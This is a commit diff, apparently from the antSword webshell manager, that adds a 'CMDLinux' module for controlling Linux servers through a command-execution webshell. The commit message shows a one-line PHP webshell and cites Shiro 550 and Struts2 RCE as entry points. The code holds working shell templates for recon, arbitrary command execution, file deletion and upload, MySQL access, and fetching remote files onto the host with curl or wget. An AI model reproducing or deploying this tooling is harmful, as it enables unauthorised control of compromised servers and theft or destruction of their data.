Commit 359367ef authored by Medicean's avatar Medicean

(New: Core/CMDLINUX) 新增 CMDLinux 类型

针对仅有命令执行WebShell的场景,该类型仅支持 Linux 目标。

eg:

<?php system($_POST['ant']);?>
Shiro 550
Struts2 RCE
...
parent 280bb234
...@@ -176,7 +176,8 @@ antSword['encoders'] = (function () { ...@@ -176,7 +176,8 @@ antSword['encoders'] = (function () {
jsp: [], jsp: [],
jspjs: [], jspjs: [],
php: [], php: [],
custom: [] custom: [],
cmdlinux: []
}; };
var encoders_path = { var encoders_path = {
asp: [], asp: [],
...@@ -184,14 +185,15 @@ antSword['encoders'] = (function () { ...@@ -184,14 +185,15 @@ antSword['encoders'] = (function () {
jsp: [], jsp: [],
jspjs: [], jspjs: [],
php: [], php: [],
custom: [] custom: [],
cmdlinux: []
}; };
let userencoder_path = path.join(remote.process.env.AS_WORKDIR, 'antData/encoders'); let userencoder_path = path.join(remote.process.env.AS_WORKDIR, 'antData/encoders');
// 初始化 // 初始化
!fs.existsSync(userencoder_path) ? !fs.existsSync(userencoder_path) ?
fs.mkdirSync(userencoder_path) : fs.mkdirSync(userencoder_path) :
null; null;
['asp', 'aspx', 'php', 'jsp', 'jspjs','custom'].map((t) => { ['asp', 'aspx', 'php', 'jsp', 'jspjs','custom', 'cmdlinux'].map((t) => {
!fs.existsSync(path.join(userencoder_path, `${t}`)) ? !fs.existsSync(path.join(userencoder_path, `${t}`)) ?
fs.mkdirSync(path.join(userencoder_path, `${t}`)) : fs.mkdirSync(path.join(userencoder_path, `${t}`)) :
null; null;
...@@ -233,7 +235,8 @@ antSword['decoders'] = (function () { ...@@ -233,7 +235,8 @@ antSword['decoders'] = (function () {
php: [], php: [],
jsp: [], jsp: [],
jspjs: [], jspjs: [],
custom: [] custom: [],
cmdlinux: [],
}; };
var decoders_path = { var decoders_path = {
asp: [], asp: [],
...@@ -241,14 +244,15 @@ antSword['decoders'] = (function () { ...@@ -241,14 +244,15 @@ antSword['decoders'] = (function () {
php: [], php: [],
jsp: [], jsp: [],
jspjs: [], jspjs: [],
custom: [] custom: [],
cmdlinux: [],
}; };
let userdecoder_path = path.join(remote.process.env.AS_WORKDIR, 'antData/encoders'); let userdecoder_path = path.join(remote.process.env.AS_WORKDIR, 'antData/encoders');
// 初始化 // 初始化
!fs.existsSync(userdecoder_path) ? !fs.existsSync(userdecoder_path) ?
fs.mkdirSync(userdecoder_path) : fs.mkdirSync(userdecoder_path) :
null; null;
['asp', 'aspx', 'php', 'jsp','jspjs', 'custom'].map((t) => { ['asp', 'aspx', 'php', 'jsp','jspjs', 'custom', 'cmdlinux'].map((t) => {
!fs.existsSync(path.join(userdecoder_path, `${t}`)) ? !fs.existsSync(path.join(userdecoder_path, `${t}`)) ?
fs.mkdirSync(path.join(userdecoder_path, `${t}`)) : fs.mkdirSync(path.join(userdecoder_path, `${t}`)) :
null; null;
......
/**
* cmdlinux::base64解码器
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc 加密返回数据的函数
*/
asoutput: () => {
return `asenc(){ base64 "$@"; };`
},
/**
* 解码 Buffer
* @param {Buffer} buff 要被解码的 Buffer
* @returns {Buffer} 解码后的 Buffer
*/
decode_buff: (buff) => {
return Buffer.from(buff.toString(), 'base64');
}
}
\ No newline at end of file
/**
* cmdlinux::default解码器
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc 加密返回数据的函数
*/
asoutput: () => {
return `asenc(){ cat "$@"; };`.replace(/\n\s+/g, '');
},
/**
* 解码 Buffer
* @param {Buffer} buff 要被解码的 Buffer
* @returns {Buffer} 解码后的 Buffer
*/
decode_buff: (buff) => {
return buff;
}
}
\ No newline at end of file
/**
* cmdlinux::hex解码器
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc 加密返回数据的函数
*/
asoutput: () => {
return `asenc(){ xxd -ps "$@"; };`
},
/**
* 解码 Buffer
* @param {Buffer} buff 要被解码的 Buffer
* @returns {Buffer} 解码后的 Buffer
*/
decode_buff: (buff) => {
return Buffer.from(buff.toString().replace(/\n/g, ''), 'hex');
}
}
\ No newline at end of file
/**
* PHP服务端脚本模板
* 开写:2016/04/12
* 更新:-
* 作者:蚁逅 <https://github.com/antoor>
*/
'use strict';
// import Base from '../base';
const Base = require('../base');
class CMDLINUX extends Base {
constructor(opts) {
super(opts);
// 解析模板
[
'base',
'command',
'filemanager',
'database/mysql',
'database/postgresql',
'database/sqlite3',
].map((_) => {
this.parseTemplate(`./cmdlinux/template/${_}`);
});
// 解析编码器
this
.encoders
.map((_) => {
this.parseEncoder(`./cmdlinux/encoder/${_}`);
});
this
.decoders
.map((_) => {
this.parseDecoder(`./cmdlinux/decoder/${_}`);
});
}
/**
* 获取编码器列表
* ? 可以在antSword.core.php.prototype.encoders中获取此变量
* @return {array} 编码器列表
*/
get encoders() {
return [];
}
get decoders() {
return ["default", "base64", "hex"];
}
/**
* HTTP请求数据组合函数
* @param {Object} data 通过模板解析后的代码对象
* @param {bool} force_default 强制使用 default 解码
* @return {Promise} 返回一个Promise操作对象
*/
complete(data, force_default = false) {
// 分隔符号
let tag_s, tag_e;
if (this.__opts__['otherConf'].hasOwnProperty('use-custom-datatag') && this.__opts__['otherConf']['use-custom-datatag'] == 1 && this.__opts__['otherConf']['custom-datatag-tags']) {
tag_s = this.__opts__['otherConf']['custom-datatag-tags'];
} else {
tag_s = Math.random().toString(16).substr(2, parseInt(Math.random() * 8 + 5)); // "->|";
}
if (this.__opts__['otherConf'].hasOwnProperty('use-custom-datatag') && this.__opts__['otherConf']['use-custom-datatag'] == 1 && this.__opts__['otherConf']['custom-datatag-tage']) {
tag_e = this.__opts__['otherConf']['custom-datatag-tage'];
} else {
tag_e = Math.random().toString(16).substr(2, parseInt(Math.random() * 8 + 5)); // "|<-";
}
let asencCode;
let ext = {
opts: this.__opts__,
};
if (!force_default) {
asencCode = this.__decoder__[this.__opts__['decoder'] || 'default'].asoutput(ext);
} else {
asencCode = this.__decoder__['default'].asoutput(ext);
}
// 组合完整的代码
let tmpCode = data['_'];
data['_'] = `export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin;TAGS="${tag_s.substr(0,tag_s.length/2)}""${tag_s.substr(tag_s.length/2)}";TAGE="${tag_e.substr(0,tag_e.length/2)}""${tag_e.substr(tag_e.length/2)}";${asencCode}asexec() { ${tmpCode} };echo -n "$TAGS";asexec|asenc;echo -n "$TAGE";`;
// 使用编码器进行处理并返回
return this.encodeComplete(tag_s, tag_e, data);
}
}
module.exports = CMDLINUX;
\ No newline at end of file
/**
* 基础信息模板
* ? 获取系统信息、当前用户、当前路径、盘符列表
*/
module.exports = () => ({
info: {
_: `ACWD=$(pwd);
AUNAME=$(uname -a);
AUSER=$(whoami);
echo -n "$ACWD\\t/\\t$AUNAME\\t$AUSER";`
},
probedb: { // 检测数据库函数支持
_: `command_exists() { command -v "$@" > /dev/null 2>&1; };
DBLIST="mysql psql sqlite3";
for v in $DBLIST
do
if command_exists $v; then echo "$v\\t1"; else echo "$v\\t0"; fi;
done;`
}
})
\ No newline at end of file
/**
* 虚拟终端命令执行
*/
module.exports = (arg1, arg2, arg3) => ({
exec: {
_: `ENVSTR=$(echo #{buffer::env}|xxd -r -p);
while [ $ENVSTR ]; do
ASLINE=\${ENVSTR%%"|||asline|||"*};
ENVSTR=\${ENVSTR#*"|||asline|||"};
export \${ASLINE%%"|||askey|||"*}=\${ASLINE#*"|||askey|||"};
done;
#{bin} -c '#{cmd}';`,
},
listcmd: {
_: `CMDLIST="#{binarr}";
OLD_IFS=$IFS;
IFS=",";
for v in $CMDLIST
do
if [ -f $v ]; then echo "$v\\t1"; else echo "$v\\t0"; fi;
done;`
}
})
\ No newline at end of file
/**
* 数据库管理模板::mysql
* i 数据分隔符号 => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_: `mysql --raw -N -B -h#{host} -u#{user} -p#{passwd} -e "show databases;"|while read DBRES; do echo -n "$DBRES\\t"; done;`,
},
// 显示数据库所有表
show_tables: {
_: `mysql --raw -N -B -h#{host} -u#{user} -p#{passwd} -D#{db} -e "show tables;"|while read DBRES; do echo -n "$DBRES\\t"; done;`
},
// 显示表字段
show_columns: {
_: `mysql --raw -N -B -h#{host} -u#{user} -p#{passwd} -D#{db} -e "select concat(column_name,0x2028,column_type,0x29) from information_schema.COLUMNS where TABLE_SCHEMA=0x#{buffer::db} and TABLE_NAME=0x#{buffer::table};"|while read DBRES; do echo -n "$DBRES\\t"; done;`
},
// 执行SQL语句
query: {
_: `
mysql --xml --raw -B -h#{host} -u#{user} -p#{passwd} -D#{db} <<'EOF'
#{sql};
SELECT ROW_COUNT() as "Affected Rows";
EOF
`,
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}',
[arg5]: '#{base64::sql}',
[arg6]: '#{encode}'
}
})
\ No newline at end of file
/**
* 数据库管理模板:: postgresql
* i 数据分隔符号 => \\t|\\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_: ``,
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}'
},
// 显示数据库所有表
show_tables: {
_: ``,
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}'
},
// 显示表字段
show_columns: {
_: ``,
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}',
[arg5]: '#{table}'
},
// 执行SQL语句
query: {
_: ``,
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}',
[arg5]: '#{base64::sql}',
[arg6]: '#{encode}'
}
})
\ No newline at end of file
/**
* 数据库管理模板:: sqlite3
* i 数据分隔符号 => \\t|\\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_: ``,
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}'
},
// 显示数据库所有表
show_tables: {
_: ``,
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}'
},
// 显示表字段
show_columns: {
_: ``,
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}',
[arg5]: '#{table}'
},
// 执行SQL语句
query: {
_: ``,
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}',
[arg5]: '#{base64::sql}',
[arg6]: '#{encode}'
}
})
\ No newline at end of file
/**
* 文件管理模板
*/
module.exports = (arg1, arg2, arg3) => ({
dir: {
_: `cd #{path} && find . -maxdepth 1 \\( -type d -printf "%f/\\t%AY-%Am-%Ad %AH:%AM:%AS\\t%s\t%.4m\\n" \\) , \\( -not -type d -printf "%f\\t%AY-%Am-%Ad %AH:%AM:%AS\\t%s\\t%.4m\\n" \\)||echo -n "ERROR:// Path not found OR no Permission";`
},
delete: {
_: `rm -rf #{path} && echo -n 1||echo -n 0;`,
},
create_file: {
_: `cat>#{path}<<'EOF'
#{content}
EOF
if [ $? = 0 ]; then echo -n 1; else echo -n 0; fi;`
},
read_file: {
_: `cat #{path}||echo -n "ERROR:// File not found or no Permission";`
},
copy: {
_: `cp -af #{path} #{target} && echo -n 1||echo -n 0;`
},
download_file: {
_: `cat #{path}||echo "ERROR:// File not found or no Permission";`
},
upload_file: {
_: `echo #{buffer::content}|xxd -r -p >> #{path} && echo -n 1||echo -n 0;`
},
rename: {
_: `mv #{path} #{name} && echo -n 1||echo -n 0;`
},
retime: {
_: `touch -d "#{time}" #{path} && echo -n 1||echo -n 0;`
},
chmod: {
_: `chmod #{mode} #{path} && echo -n 1||echo -n 0;`
},
mkdir: {
_: `mkdir -p #{path} && echo -n 1||echo -n 0;`,
},
wget: {
_: `command_exists() { command -v "$@" > /dev/null 2>&1; };
ascurl=''
if command_exists curl; then
ascurl='curl -ksSL -o';
elif command_exists wget; then
ascurl='wget --no-check-certificate -qO';
elif command_exists busybox && busybox --list-modules | grep -q wget; then
ascurl='busybox wget --no-check-certificate -qO'
fi;
$ascurl #{path} #{url} && echo -n 1||echo -n 0;
`
}
})
\ No newline at end of file
...@@ -14,7 +14,7 @@ class Core { ...@@ -14,7 +14,7 @@ class Core {
constructor() { constructor() {
// 加载子模块列表 // 加载子模块列表
let cores = {}; let cores = {};
['php', 'asp', 'aspx', 'jsp','jspjs', 'custom', 'php4'].map((_) => { ['php', 'asp', 'aspx', 'jsp','jspjs', 'custom', 'php4', 'cmdlinux'].map((_) => {
cores[_] = require(`./${_}/index`); cores[_] = require(`./${_}/index`);
}); });
// 返回子模块对象 // 返回子模块对象
......
This diff is collapsed.
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment